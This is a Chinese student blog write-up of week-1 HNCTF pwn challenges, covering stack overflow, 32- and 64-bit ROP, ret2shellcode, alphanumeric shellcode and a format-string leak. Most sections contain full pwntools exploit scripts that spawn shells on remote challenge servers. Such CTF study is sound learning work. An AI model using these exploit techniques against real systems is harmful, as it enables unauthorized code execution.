hnctf-pwn-[week1]

目录

easync:

 easyoverflow

 ezr0p32

 ezr0p64:

ret2shellcode

 safe_shellcode

fmtstr:

ezcmp

easync:

nc连一下,目录中有flag,但是cat之后发现是个假的flag,那就从其他地方入手

 注意到目录里有gift,nothing,直接cat的话是一个文件夹,里面还有东西,所以cd进去看看,2galf是正确的后半段flag,前半段flag在nothing里

 

 easyoverflow

一个简单的栈溢出函数,通过gets函数进行溢出,返回值设置为v5,只要v5不为0就可以执行if函数

 查找ASCII码表,选一个正数的ASCII码,v4到返回值,0x30+0x8,让正数完全的覆盖返回值即可

exp:
from pwn import*
p=remote('43.143.7.97',28057)
#p=process('./easy_overflow')
p.recvuntil('Input something\n')
payload='\x22'*(0x40)
p.sendline(payload)
p.interactive()

 因为system中是cat flag,所以运行system函数他会传送cat flag数据,就直接出来flag了

 ezr0p32

考察的是32位rop,有system无binsh,所以binsh需要自己构造


exp:
from pwn import*
p=remote('43.143.7.97',28252)
#p=process('./ezr0p')
context.log_level='debug'
system_plt=0x080483d0
bss_addr=0x0804a080
p.recvuntil('please tell me your name')
p.sendline('/bin/sh')
p.recvuntil("now it's your play time~")
payload='a'*(0x1c+0x4)+p32(system_plt)+p32(0)+p32(bss_addr)
p.sendline(payload)
p.interactive()

payload解读 

buf的位置上在bss处,可以借此把binsh写进去,然后构造payload,用0x1c+0x4个字节使程序发生溢出,返回地址改为system,system的返回地址为0,再执行上一个read函数,此时第一个sendline已经把/bin/sh写入bss段

 ezr0p64:

考察的是64位rop,无system,binsh,需要通过libc泄露函数地址

 

exp:
from pwn import *
context.log_level='debug'
r=remote("43.143.7.97",28181)
#r=process("./ezrop64")
elf=ELF("./ezrop64")
libc=ELF("./libc.so.6")
#libc=elf.libc
r.recvuntil("Gift :")
leak_puts=int(r.recv(14),16) #这里我不太理解为什么这样操作就得到了puts函数的地址
print("leak->",hex(leak_puts))
libcbase=leak_puts-libc.sym["puts"] #查找偏移量
print("libcbase",hex(libcbase))
system=libc.sym["system"]+libcbase #查找真实函数地址
#gdb.attach(r)
binsh=next(libc.search(b'/bin/sh'))+libcbase #这个也是查找真实函数地址,但是next不知道什么意思
pop_rdi=0x4012a3
ret=0x40123D
r.recvuntil("Start your rop.")
payload=b'a'*0x100+b'a'*0x8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
r.sendline(payload)
r.interactive()
root@ubuntu:/home/giantbranch/hnctf# ROPgadget --binary ezrop64 --only "pop|ret"Gadgets information
============================================================
0x000000000040129c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040129e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012a0 : pop r14 ; pop r15 ; ret
0x00000000004012a2 : pop r15 ; ret
0x000000000040129b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040129f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040116d : pop rbp ; ret
0x00000000004012a3 : pop rdi ; ret #rdi地址
0x00000000004012a1 : pop rsi ; pop r15 ; ret
0x000000000040129d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret #ret地址

 

ret2shellcode

 strcpy函数将s复制到buff处,buff在bss段,可以写入数据,read函数造成溢出,共同构造shellcode

exp:
from pwn import *
context.os='Linux'
context.arch='amd64'
context.log_level='debug'
r=remote("43.143.7.97",28352)
#r=process('./shellcode')
payload=asm(shellcraft.sh()).ljust(256,'a')+p64(0)+p64(0x4040a0)
r.send(payload)
#gdb.attach(r)
r.interactive()

asm(shellcraft.sh()):生成shell的机械码

.ljust(256,'a')生成机械码后剩余的字节补充上,

 safe_shellcode

考察的是可见字符串,怎么说呢,这个看学长的方法和赛后WP都没搞懂,先记下来吧,会了再修改

 

官方WP:可见字符shellcode就是要求输入的shellcode必须是可见字符,如大小写字母、数字;用AE64工具转一下可见字符shellcode,注意此处调用shellcode的寄存器是rax

from pwn import*
from ae64 import AE64
context.log_level = 'debug'
context.arch = 'amd64'

#p=process('./shellcoder')
p=remote('43.143.7.97',28977)
buf=0x4040C0

obj = AE64()


sc =obj.encode(asm(shellcraft.sh()),'rax')

print("len->"+hex(len(sc)))
sc=sc.ljust(0x228,b'\x00')+p64(buf)

p.send(sc)
p.interactive()
学长WP
可见字符是ASCII码中可以直接被打印出来的字符
exp:
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.os='Linux'
#r=remote('43.143.7.97',28030)
r=process('./shellcoder')
shellcode=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'//在0x300以内,在ASCII码“/”和“z”之间,输入的多点,又不超过0x300,从而输出flag.
payload=shellcode+b'\x00'*(0x228-len(shellcode))+p64(0x40407a)//read读取到\x00或\0会停止
#gdb.attach(r)
r.sendline(payload)
r.interactive()

分析:
这行代码将bss段设置为rwx,接下来将可见字符写入bss,因此写入shellcode且shellcode为可见字符即可。

shellcode的构造是逆出来的
#arr[i+1]_ = (35*arr_[i] + 18*(arr_[i] + i + 2) + arr[i+1] + 3) % 10 

from unicodedata import decimal


s = "831654239123423452610584"

def encrypt(x,y,i):
    return (35*x + 18*( x + i) + 2 + y +  3 ) %10
arr=[]
for i in s:
    arr.append(int(i))
ans = [8]*24
for i in range(0,23):
    for j in range(10):
        if(encrypt(arr[i],j,i) == arr[i+1]):
            ans[i+1] = j

for i in ans:
    print(i,end='')

fmtstr:

考察的是格式化字符串

 题目把open flag读入到name中,所以在本地创建一个名为flag的文件,gdb查看他的位置,与ebp的距离,

 构造payload:flag与rbp相距32+6=38个字节,%n$s读取n个字节处的字符,OK啦

exp:
from pwn import*
#p=process('./ezfmt')
p=remote('43.143.7.97',28862)
p.recvuntil('Input your format string.\n')
payload='%38$s'
#gdb.attach(p)
p.sendline(payload)
p.interactive()

ezcmp

考察的是栈溢出,通过比较和加解密字符,从而可以执行system(binsh),

分析一下,把ayaka这一串字符传递到了buff中,buff在bss段,0x404100的位置,后面又给了buf,r让写入,比较buff和buf的前三十位,一样的话就可以跳过if语句,执行system,

x /4xg $ebp

查看ebp开始的4个8字节内容(b:单字节,h:双字节,w:四字节,g:八字节;x:十六进制,s:字符串输出,i:反汇编,c:单字符)

 但是注意,是要gdb运行过了加密函数enccrypt,才可以查看从buff开始的内容

exp:
from pwn import*
p=remote('43.143.7.97',28244)
#p=process('./ezcmp')
buff=0x404100
p.recvuntil('GDB-pwndbg maybe useful')
payload=p64(0x144678aadc0e4072)+p64(0x84b6e81a4c7eb0e2)+p64(0xf426588abcee2052)+p64(0x0000c8cb2c5e90c2)
p.sendline(payload)
p.interactive()

 week1虽然是最简单的内容,但是也学到了很多,要尽快学习了,加油努力不放弃!抓紧复现!

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值